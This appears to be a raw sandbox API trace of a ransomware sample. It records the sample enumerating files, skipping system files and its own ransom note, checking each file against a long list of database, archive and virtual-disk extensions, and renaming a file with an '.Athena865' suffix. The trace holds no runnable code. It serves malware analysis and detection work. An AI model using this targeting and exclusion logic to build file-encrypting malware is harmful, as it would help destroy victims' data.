CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.971] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.971] CloseHandle (hObject=0x154) returned 1 [0051.971] CloseHandle (hObject=0x17c) returned 1 [0051.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.972] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaedefa60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaedefa60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaedefa60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-xyaZA U2CnstOD2Db.lnk", cAlternateFileName="-XYAZA~1.LNK")) returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2=".") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="..") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="windows") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="bootmgr") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="temp") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="pagefile.sys") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="boot") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="ids.txt") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="ntuser.dat") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="perflogs") returned 1 [0051.972] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2="MSBuild") returned 1 [0051.973] lstrlenW (lpString="-xyaZA U2CnstOD2Db.lnk") returned 22 [0051.973] lstrcpyW (in: lpString1=0x241e8b4, lpString2="-xyaZA U2CnstOD2Db.lnk" | out: lpString1="-xyaZA U2CnstOD2Db.lnk") returned="-xyaZA U2CnstOD2Db.lnk" [0051.973] lstrlenW (lpString="-xyaZA U2CnstOD2Db.lnk") returned 22 [0051.973] lstrlenW (lpString="Athena865") returned 9 [0051.973] lstrcmpiW (lpString1="OD2Db.lnk", lpString2="Athena865") returned 1 [0051.973] lstrlenW (lpString=".dll") returned 4 [0051.973] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2=".dll") returned 1 [0051.973] lstrlenW (lpString=".lnk") returned 4 [0051.973] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2=".lnk") returned 1 [0051.973] lstrlenW (lpString=".ini") returned 4 [0051.973] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2=".ini") returned 1 [0051.973] lstrlenW (lpString=".sys") returned 4 [0051.973] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.lnk", lpString2=".sys") returned 1 [0051.973] lstrlenW (lpString="-xyaZA U2CnstOD2Db.lnk") returned 22 [0051.973] lstrlenW (lpString="bak") returned 3 [0051.973] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0051.973] lstrlenW (lpString="ba_") returned 3 [0051.973] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0051.973] lstrlenW (lpString="dbb") returned 3 [0051.973] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0051.973] lstrlenW (lpString="vmdk") returned 4 [0051.973] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0051.973] lstrlenW (lpString="rar") returned 3 [0051.973] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0051.973] lstrlenW (lpString="zip") returned 3 [0051.973] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0051.973] lstrlenW (lpString="tgz") returned 3 [0051.973] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0051.973] lstrlenW (lpString="vbox") returned 4 [0051.973] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0051.973] lstrlenW (lpString="vdi") returned 3 [0051.973] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0051.973] lstrlenW (lpString="vhd") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0051.974] lstrlenW (lpString="vhdx") returned 4 [0051.974] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0051.974] lstrlenW (lpString="avhd") returned 4 [0051.974] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0051.974] lstrlenW (lpString="db") returned 2 [0051.974] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0051.974] lstrlenW (lpString="db2") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0051.974] lstrlenW (lpString="db3") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0051.974] lstrlenW (lpString="dbf") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0051.974] lstrlenW (lpString="mdf") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0051.974] lstrlenW (lpString="mdb") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0051.974] lstrlenW (lpString="sql") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0051.974] lstrlenW (lpString="sqlite") returned 6 [0051.974] lstrcmpiW (lpString1="Db.lnk", lpString2="sqlite") returned -1 [0051.974] lstrlenW (lpString="sqlite3") returned 7 [0051.974] lstrcmpiW (lpString1="2Db.lnk", lpString2="sqlite3") returned -1 [0051.974] lstrlenW (lpString="sqlitedb") returned 8 [0051.974] lstrcmpiW (lpString1="D2Db.lnk", lpString2="sqlitedb") returned -1 [0051.974] lstrlenW (lpString="xml") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0051.974] lstrlenW (lpString="$er") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0051.974] lstrlenW (lpString="4dd") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0051.974] lstrlenW (lpString="4dl") returned 3 [0051.974] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0051.975] lstrlenW (lpString="^^^") returned 3 [0051.975] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0051.975] lstrlenW (lpString="abs") returned 3 [0051.975] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0051.975] lstrlenW (lpString="abx") returned 3 [0051.975] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0051.975] lstrlenW (lpString="accdb") returned 5 [0051.975] lstrcmpiW (lpString1="b.lnk", lpString2="accdb") returned 1 [0051.975] lstrlenW (lpString="accdc") returned 5 [0051.975] lstrcmpiW (lpString1="b.lnk", lpString2="accdc") returned 1 [0051.975] lstrlenW (lpString="accde") returned 5 [0051.975] lstrcmpiW (lpString1="b.lnk", lpString2="accde") returned 1 [0051.975] lstrlenW (lpString="accdr") returned 5 [0051.975] lstrcmpiW (lpString1="b.lnk", lpString2="accdr") returned 1 [0051.975] lstrlenW (lpString="accdt") returned 5 [0051.975] lstrcmpiW (lpString1="b.lnk", lpString2="accdt") returned 1 [0051.975] lstrlenW (lpString="accdw") returned 5 [0051.975] lstrcmpiW (lpString1="b.lnk", lpString2="accdw") returned 1 [0051.975] lstrlenW (lpString="accft") returned 5 [0051.975] lstrcmpiW (lpString1="b.lnk", lpString2="accft") returned 1 [0051.975] lstrlenW (lpString="adb") returned 3 [0051.975] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.975] lstrlenW (lpString="adb") returned 3 [0051.975] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.975] lstrlenW (lpString="ade") returned 3 [0051.975] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0051.975] lstrlenW (lpString="adf") returned 3 [0051.975] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0051.975] lstrlenW (lpString="adn") returned 3 [0051.975] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0051.975] lstrlenW (lpString="adp") returned 3 [0051.975] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0051.975] lstrlenW (lpString="alf") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0051.976] lstrlenW (lpString="ask") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0051.976] lstrlenW (lpString="btr") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0051.976] lstrlenW (lpString="cat") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0051.976] lstrlenW (lpString="cdb") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0051.976] lstrlenW (lpString="ckp") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0051.976] lstrlenW (lpString="cma") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0051.976] lstrlenW (lpString="cpd") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0051.976] lstrlenW (lpString="dacpac") returned 6 [0051.976] lstrcmpiW (lpString1="Db.lnk", lpString2="dacpac") returned 1 [0051.976] lstrlenW (lpString="dad") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0051.976] lstrlenW (lpString="dadiagrams") returned 10 [0051.976] lstrcmpiW (lpString1="tOD2Db.lnk", lpString2="dadiagrams") returned 1 [0051.976] lstrlenW (lpString="daschema") returned 8 [0051.976] lstrcmpiW (lpString1="D2Db.lnk", lpString2="daschema") returned -1 [0051.976] lstrlenW (lpString="db-journal") returned 10 [0051.976] lstrcmpiW (lpString1="tOD2Db.lnk", lpString2="db-journal") returned 1 [0051.976] lstrlenW (lpString="db-shm") returned 6 [0051.976] lstrcmpiW (lpString1="Db.lnk", lpString2="db-shm") returned -1 [0051.976] lstrlenW (lpString="db-wal") returned 6 [0051.976] lstrcmpiW (lpString1="Db.lnk", lpString2="db-wal") returned -1 [0051.976] lstrlenW (lpString="dbc") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0051.976] lstrlenW (lpString="dbs") returned 3 [0051.976] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0051.976] lstrlenW (lpString="dbt") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0051.977] lstrlenW (lpString="dbv") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0051.977] lstrlenW (lpString="dbx") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0051.977] lstrlenW (lpString="dcb") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0051.977] lstrlenW (lpString="dct") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0051.977] lstrlenW (lpString="dcx") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0051.977] lstrlenW (lpString="ddl") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0051.977] lstrlenW (lpString="dlis") returned 4 [0051.977] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0051.977] lstrlenW (lpString="dp1") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0051.977] lstrlenW (lpString="dqy") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0051.977] lstrlenW (lpString="dsk") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0051.977] lstrlenW (lpString="dsn") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0051.977] lstrlenW (lpString="dtsx") returned 4 [0051.977] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0051.977] lstrlenW (lpString="dxl") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0051.977] lstrlenW (lpString="eco") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0051.977] lstrlenW (lpString="ecx") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0051.977] lstrlenW (lpString="edb") returned 3 [0051.977] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0051.978] lstrlenW (lpString="epim") returned 4 [0051.978] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0051.978] lstrlenW (lpString="fcd") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0051.978] lstrlenW (lpString="fdb") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0051.978] lstrlenW (lpString="fic") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0051.978] lstrlenW (lpString="flexolibrary") returned 12 [0051.978] lstrcmpiW (lpString1="nstOD2Db.lnk", lpString2="flexolibrary") returned 1 [0051.978] lstrlenW (lpString="fm5") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0051.978] lstrlenW (lpString="fmp") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0051.978] lstrlenW (lpString="fmp12") returned 5 [0051.978] lstrcmpiW (lpString1="b.lnk", lpString2="fmp12") returned -1 [0051.978] lstrlenW (lpString="fmpsl") returned 5 [0051.978] lstrcmpiW (lpString1="b.lnk", lpString2="fmpsl") returned -1 [0051.978] lstrlenW (lpString="fol") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0051.978] lstrlenW (lpString="fp3") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0051.978] lstrlenW (lpString="fp4") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0051.978] lstrlenW (lpString="fp5") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0051.978] lstrlenW (lpString="fp7") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0051.978] lstrlenW (lpString="fpt") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0051.978] lstrlenW (lpString="frm") returned 3 [0051.978] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0051.978] lstrlenW (lpString="gdb") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0051.979] lstrlenW (lpString="gdb") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0051.979] lstrlenW (lpString="grdb") returned 4 [0051.979] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0051.979] lstrlenW (lpString="gwi") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0051.979] lstrlenW (lpString="hdb") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0051.979] lstrlenW (lpString="his") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0051.979] lstrlenW (lpString="ib") returned 2 [0051.979] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0051.979] lstrlenW (lpString="idb") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0051.979] lstrlenW (lpString="ihx") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0051.979] lstrlenW (lpString="itdb") returned 4 [0051.979] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0051.979] lstrlenW (lpString="itw") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0051.979] lstrlenW (lpString="jet") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0051.979] lstrlenW (lpString="jtx") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0051.979] lstrlenW (lpString="kdb") returned 3 [0051.979] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0051.979] lstrlenW (lpString="kexi") returned 4 [0051.979] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0051.979] lstrlenW (lpString="kexic") returned 5 [0051.979] lstrcmpiW (lpString1="b.lnk", lpString2="kexic") returned -1 [0051.979] lstrlenW (lpString="kexis") returned 5 [0051.980] lstrcmpiW (lpString1="b.lnk", lpString2="kexis") returned -1 [0051.980] lstrlenW (lpString="lgc") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0051.980] lstrlenW (lpString="lwx") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0051.980] lstrlenW (lpString="maf") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0051.980] lstrlenW (lpString="maq") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0051.980] lstrlenW (lpString="mar") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0051.980] lstrlenW (lpString="marshal") returned 7 [0051.980] lstrcmpiW (lpString1="2Db.lnk", lpString2="marshal") returned -1 [0051.980] lstrlenW (lpString="mas") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0051.980] lstrlenW (lpString="mav") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0051.980] lstrlenW (lpString="maw") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0051.980] lstrlenW (lpString="mdbhtml") returned 7 [0051.980] lstrcmpiW (lpString1="2Db.lnk", lpString2="mdbhtml") returned -1 [0051.980] lstrlenW (lpString="mdn") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0051.980] lstrlenW (lpString="mdt") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0051.980] lstrlenW (lpString="mfd") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0051.980] lstrlenW (lpString="mpd") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0051.980] lstrlenW (lpString="mrg") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0051.980] lstrlenW (lpString="mud") returned 3 [0051.980] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0051.980] lstrlenW (lpString="mwb") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0051.981] lstrlenW (lpString="myd") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0051.981] lstrlenW (lpString="ndf") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0051.981] lstrlenW (lpString="nnt") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0051.981] lstrlenW (lpString="nrmlib") returned 6 [0051.981] lstrcmpiW (lpString1="Db.lnk", lpString2="nrmlib") returned -1 [0051.981] lstrlenW (lpString="ns2") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0051.981] lstrlenW (lpString="ns3") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0051.981] lstrlenW (lpString="ns4") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0051.981] lstrlenW (lpString="nsf") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0051.981] lstrlenW (lpString="nv") returned 2 [0051.981] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0051.981] lstrlenW (lpString="nv2") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0051.981] lstrlenW (lpString="nwdb") returned 4 [0051.981] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0051.981] lstrlenW (lpString="nyf") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0051.981] lstrlenW (lpString="odb") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0051.981] lstrlenW (lpString="odb") returned 3 [0051.981] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0051.982] lstrlenW (lpString="oqy") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0051.982] lstrlenW (lpString="ora") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0051.982] lstrlenW (lpString="orx") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0051.982] lstrlenW (lpString="owc") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0051.982] lstrlenW (lpString="p96") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0051.982] lstrlenW (lpString="p97") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0051.982] lstrlenW (lpString="pan") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0051.982] lstrlenW (lpString="pdb") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0051.982] lstrlenW (lpString="pdm") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0051.982] lstrlenW (lpString="pnz") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0051.982] lstrlenW (lpString="qry") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0051.982] lstrlenW (lpString="qvd") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0051.982] lstrlenW (lpString="rbf") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0051.982] lstrlenW (lpString="rctd") returned 4 [0051.982] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0051.982] lstrlenW (lpString="rod") returned 3 [0051.982] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0051.982] lstrlenW (lpString="rodx") returned 4 [0051.982] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0051.982] lstrlenW (lpString="rpd") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0051.983] lstrlenW (lpString="rsd") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0051.983] lstrlenW (lpString="sas7bdat") returned 8 [0051.983] lstrcmpiW (lpString1="D2Db.lnk", lpString2="sas7bdat") returned -1 [0051.983] lstrlenW (lpString="sbf") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0051.983] lstrlenW (lpString="scx") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0051.983] lstrlenW (lpString="sdb") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0051.983] lstrlenW (lpString="sdc") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0051.983] lstrlenW (lpString="sdf") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0051.983] lstrlenW (lpString="sis") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0051.983] lstrlenW (lpString="spq") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0051.983] lstrlenW (lpString="te") returned 2 [0051.983] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0051.983] lstrlenW (lpString="teacher") returned 7 [0051.983] lstrcmpiW (lpString1="2Db.lnk", lpString2="teacher") returned -1 [0051.983] lstrlenW (lpString="tmd") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0051.983] lstrlenW (lpString="tps") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0051.983] lstrlenW (lpString="trc") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0051.983] lstrlenW (lpString="trc") returned 3 [0051.983] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0051.983] lstrlenW (lpString="trm") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0051.984] lstrlenW (lpString="udb") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0051.984] lstrlenW (lpString="udl") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0051.984] lstrlenW (lpString="usr") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0051.984] lstrlenW (lpString="v12") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0051.984] lstrlenW (lpString="vis") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0051.984] lstrlenW (lpString="vpd") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0051.984] lstrlenW (lpString="vvv") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0051.984] lstrlenW (lpString="wdb") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0051.984] lstrlenW (lpString="wmdb") returned 4 [0051.984] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0051.984] lstrlenW (lpString="wrk") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0051.984] lstrlenW (lpString="xdb") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0051.984] lstrlenW (lpString="xld") returned 3 [0051.984] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0051.984] lstrlenW (lpString="xmlff") returned 5 [0051.984] lstrcmpiW (lpString1="b.lnk", lpString2="xmlff") returned -1 [0051.984] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-xyaZA U2CnstOD2Db.lnk.Athena865") returned 86 [0051.984] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-xyaZA U2CnstOD2Db.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-xyaza u2cnstod2db.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-xyaZA U2CnstOD2Db.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-xyaza u2cnstod2db.lnk.athena865"), dwFlags=0x1) returned 1 